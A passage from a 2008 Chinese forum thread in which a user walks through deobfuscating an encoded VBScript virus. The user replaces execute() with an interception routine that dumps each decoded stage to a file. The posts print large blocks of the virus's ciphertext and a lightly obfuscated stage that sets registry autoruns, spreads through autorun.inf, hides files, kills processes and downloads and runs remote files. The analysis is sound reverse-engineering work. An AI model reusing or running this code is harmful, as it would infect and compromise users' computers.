中国DOS联盟

【续四】打开decode_5.txt看看，都什么玩意，太让各位失望了，怎么就这点儿内容，没有搞错吧？

for ii=1 to len(b):a=asc(mid(b,ii,1))
if a=d then a=13
if a=f then a=10
if a=j then
a=34
elseif a>=h and a<=m then
a=a+r
elseif a>=k and a<=n then
a=a+s
elseif a>=53 and a<=57 then
a=a+u
elseif a>=48 and a<=52 then
a=a+v
end if
uc=uc+chr(a)
next
uc=rn+c+uc

各位看官，我检讨，我让大家高兴的太早了，其实在上一篇里虽然加入了b＝lO+qO，但实际运行中经过一系列if的筛选，最后还是跟decode_4.txt差不多的一个玩意，不过显得整齐了些，也算是收获，为什么会这样，别忘了咱们是用Intercept(code)替代execute(code)，否则execute看到有这么多可执行代码会迫不及待的去执行，那时你即使再手疾眼快的话也比不上惨剧发生的快了，假如你过于手疾眼快按冷启的话，没准坏的就不是瘟痘屎系统了，你得拿着某（几）个硬件在奸商的跪台前哭求：大叔大姨行行好，修理费能不能再降点儿，可怜可怜穷人吧，5555……
唉，够累的了，没办法，接着来吧，小车不倒只管推，继续，把第四锅里的
lO=……
qO＝……
b=lO+qO
再放进锅里，外加差不多由a到v的变量，然后加上前面的拦截程序，不过怎么加得考虑下，因为目前的代码相当于execute解出一层密文后看到的新指令，它将继续执行这些代码，所以目前的代码实际仍然还处在第一锅execute（y）的运行期内，而执行目前的代码，最后是给uc(b)函数返回值，作为还给当初第一锅execute（uc(lO+qO)）括号内的结果，但是如果这个返回值里还有可执行的指令的话，execute（uc(lO+qO)）会继续执行，所以现在我们得看看uc这个值到底是个什么东西，所以Intercept必须去截获uc的值，所以代码应改写成这样子的：
lO="  
 ==|4|:=255:=|.|:=|.|:=|%% / |:
=|/#/|:=|UT |&:
=|\.
|}{ =(|.|): =(|:\\.\\7|)}{
=(|.
|): =.(| *
 87_|)}{ =
.:=.
:=
.
(5)&:=
.
(6)&}{=
.
(7)&:=&|\|:=
(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5):
=||  =}{=|HKLM\
\|&&:=|\
\
\\\\|}{
=|
\|:
=(|HKLM|&&
&| |,5)&&:
=(|HKCU|&&
&|
|,5)&}{=(|HKCU|&&
&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\
\
\\\\\\|:
=  =}{
    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{
(,|0.7|)<>5 }{=||+}{
<>31  =||+: =|$|+: 
:==(||,6):=(||,6):
 ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{
-()>9  =:. |  || |||,5,
}{
((||,6)>355       )  (||,6)<>() }{=(||,6):
  =6:=6:=5}{  <>|<>|}{
=7  =9 }{7=(&,++()&,5,655):=(&,6)}{
=6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ 
:=+6:=6=6  7=6:
>9 }{
  =6}{ }{ 
}{
   -6}{}{
(&,6) }{ =
.
(&,6)}{=.:=.:=.:
=.:=.:=.}{=.:
=.:=.:=.:=.:=.}{.:
&:
=|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{
->=6   (&,6)   &,&
&
&,,7555:.}{
=6   }{
<>   (&,6)  
&: &,&
&
&,6,6555}{ 
}{ 
}{ 
}{ 
}{
(6)    =6:=

.
()  =6  =}{

.
()  =7  =:= ,5}{
(,6) 
.
()}{
(,7) 
.
():=: :=
: =
.
(,):. :.}{
=6   ,2}{
 (5)  
=6:=
: =
.
(,):=
}{. &&||&&|=. .\|&&&|\\=. .\|&&&|\\
=6|}{.: ,2:
 (5)  =6:=
<5  =}{
(,6) }{

.
().=5 }{=5}{}{ =
.
(,6)}{ =
.
(,6)}{.}{=.}{.}{
>5  <= }{=5 }{  <}{=+6}{
 .
 }{=.}{}{=5}{ 
}{}{=}{
<=5 }{=.}{}{=5}{ 
}{.}{ 
}{}{=5}{ 
:=
=-6  .   . &,,|REG_SZ|:=
=6  =&}{=.()}{
(5)  =5:=
(
,6) : 
=
.
(
):
.=: 
=}{
(
,7) : 
=
.
(
):
.=: 
=:=)): := ,5:  = (|
.|):. ||,,5:.()}{
<>5 }{
 (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):.
 ,7}{ ,2}{
(,6) 
=
.
(). 
=5}{

> }{
=6  . }{}{=5:
}{ 
}{ 
}{ 
:= =.(| " qO="*
 87_  ='|&&|'|):=6}{
    :=+6}{
>()  =6}{
<5  
.=7  =6  . &| |&
(.,(.)-9),5,
}{}{
(5)  =7:=
 =6  ():=+(((,,6))-)::==670:=678:=679:=42:=654:=68:=665:=677:
=-68:=5:=5::=
    }{
=&  . | |&,8,
}{}{=(,-6):

()  (|H N!|): 6}{
 }{ 6}{
(||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ 
}{
(||,6)=6  . | / /|,5,
: ||,5}{
(&,5)=   -6}{=(||,6):
(&,6)  . &}{ 5}{: 6}{. 6555}{
(||,6)<>()  . }{}{. 0555}{
(|.|,7)=7 }{
(||,6)=() :.:: ||,}{ 
}{
(|.|,7)=6  .}{ ,2: &: &: 6:. &}{ 
:=&:=
: =
.
(,):. :.: ,2:= :=\:  
 :
=
=6  (&,5)<> }{. &,,|REG_SZ|}{
(5)   (
,6)  

,&| |||&&||||,5}{
=-6 :

}{
=5 :

: &,-6: ,-6}{ 
:=
=6  . ,|5|,|REG_DWORD|}{
=5  =(,5):==(||,6)}{ 
<=:=&|,|&
:
=
+6:}{=&:=(,|,|)}{
 =5  ()}{
=()  
 (&
,6)   &
,&
,5,7555}{}{
(&
,6)  . &
}{=6:=
(||,6)<>
  (,6)=6 }{
(&
,&
,5,7555)=6  =6}{
(&
,6)  =6 }{
=6   ,-6}{. &
}{
 (5)   ||,
: 5,+()++
,5,5:
=7   ,-6: 6}{ 
}{=6}{ 
}{. 655:
=
    }{
.=8  (.=6  <>|A:|  <> |B:|) }{
=6 }{
(&
,7)  
&
}{
(&&,6)  (&
,6) }{
(&
,6)<>   &
}{}{ 6: &
: &&}{ 
}{
=-6 :
&
:
&&}{:
&&,&|(
(.
,8)),8|&(65555,|'|),6:
&
}{ 
}{ 
}{:==(||,6)<>9}{}{=(||,6)<>()}{
(()  8)=5 }{
     6}{=():
(  7)=5  <>  <>6  =:=: 5}{
(||,6)=6  (((||,6)))}{ 
}{. 455}{
(5)=6     ||,: -6}{
(|.|,6)=6 :. | |&+5.558&| / |&,5,
: ||,6: 6:.}{:=:((:=
=6 }{ 5: -6:
:
&:
&:
&:.}{}{ 6}{

(&)   &}{

(&)   &}{ 
:=
(,6)<>|'|&  
=:(&))&&))&&()&&&&(,)&&&&()&&&&(,,)&&&&()&&&&(,)&&&&(,)&&&&(,)&&&&(,)&&&&(,,
,)&&&&(
,
)&&&&()&&&&()&&&&
(
)&&
&&(
)&&&&(
,,,,)&&&&(
,,,)&&&&
(
)&&
&&()&&&&(
)&&&&()&&&) (
) .<>5 
<5 .=
<>5  (,6)<>
()  ,(,6)+
(
) (,6)>655   ,: ,5   " b=lO+qO '++++++++++以上添加内容b为下面解码用++++++++++ '++++另外，前面Decoding_4th出现的变量也要补上++++ c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5 i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i '======解码所需变量补充完毕，以下开始解码======= for ii=1 to len(b):a=asc(mid(b,ii,1)) if a=d then a=13 if a=f then a=10 if a=j then a=34 elseif a>=h and a<=m then a=a+r elseif a>=k and a<=n then a=a+s elseif a>=53 and a<=57 then a=a+u elseif a>=48 and a<=52 then a=a+v end if uc=uc+chr(a) next uc=rn+c+uc '**************拦截uc函数返回值的代码，开始 Intercept uc WScript.Quit Sub Intercept (code) WScript.Echo code OutPutFile="decode_6.txt" Set objFSO=CreateObject("Scripting.FileSystemObject") Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False) objTXT.Write code objTXT.Close Set objWSH=CreateObject("WScript.Shell") objWSH.Run OutPutFile End Sub '**************拦截uc函数返回值的代码，结束
将上面的代码保存为Decoding_5th.vbs，运行后uc的值就放在decode_6.txt，这回我保您可以看到有明确含意的东东，您就瞧好吧【待续】

[ Last edited by uhnmki on 2008-1-17 at 05:31 PM ]

Originally posted by uhnmki at 2008-1-16 12:56:
【续四】打开decode_5.txt看看，都什么玩意，太让各位失望了，怎么就这点儿内容，没有搞错吧？

Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_6.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
'**************拦截uc函数返回值的代码，结束

因为有循环执行替换的代码所以建议使用OpenTextFile方法。。。。。。并且应用参数8“追加数据方式”这样虽然会得到重复代码，但可避免遗漏。。
用楼上代码补 end sub 运行后得到的代码似乎有点错误在dyz=后面好像”符号转换错了，另外才看到楼上希望连贴 实在不好意思。。。。

[ Last edited by baomaboy on 2008-1-16 at 02:50 PM ]

【续五】现在让我们打开decode_6.txt，看一看最后生成的uc函数返回值到底是什么：

on error resume next
dyz="ire=|9|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:gvy=|UT |&ire:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&||&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=0 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|'|&ire gura ps=gehr":execute(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function

哇，我的妈呀，怎么还是这么乱啊，各位看官，对不起啊，有点累您眼神了，不好意思啊，又让您过早兴奋了。不过还好，都是ASCII码，比b=lO+qO的乱码强，而且这么多，说明密文b=lO+qO肯定是代进去解码了，尽管有点乱，我开始也是，被两个挨着的execute弄晕过去几次，不过您手头上如果有EmEditor这个文本编辑器的话就没问题，一目了然，UEdit好象不行，尽管UEdit功能比EmEditor多些，但这时它就有点弱智，EmEditor看到的效果和我在引文中标记的差不多，这样您一下子就会发现，实际上这是若干个变量在赋值或字符串，然后带了一个execute（code），这个是重要的，它将推动程序继续深入地向下一步走，否则到此就停下了，另外最后捎带了一个函数er，里面还引用某个叫rr的函数，不管了，焦点肯定要集中在execute（）括号内的东东，那是一些变量在合并字符串，看来不少变量都是上面当中赋过值的，没错就是它了，如果解出码来，兴许就是明文了（底气有点不足），所以还是那么干，设计一个拦截程序Intercept：

Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_7'.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub

用Intercept（）去把execute（）掉包，获得将要执行的代码，所以把上面的结果改造一下，像这样：
on error resume next dyz="ire=|9|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:gvy=|UT |&ire:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&||&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs 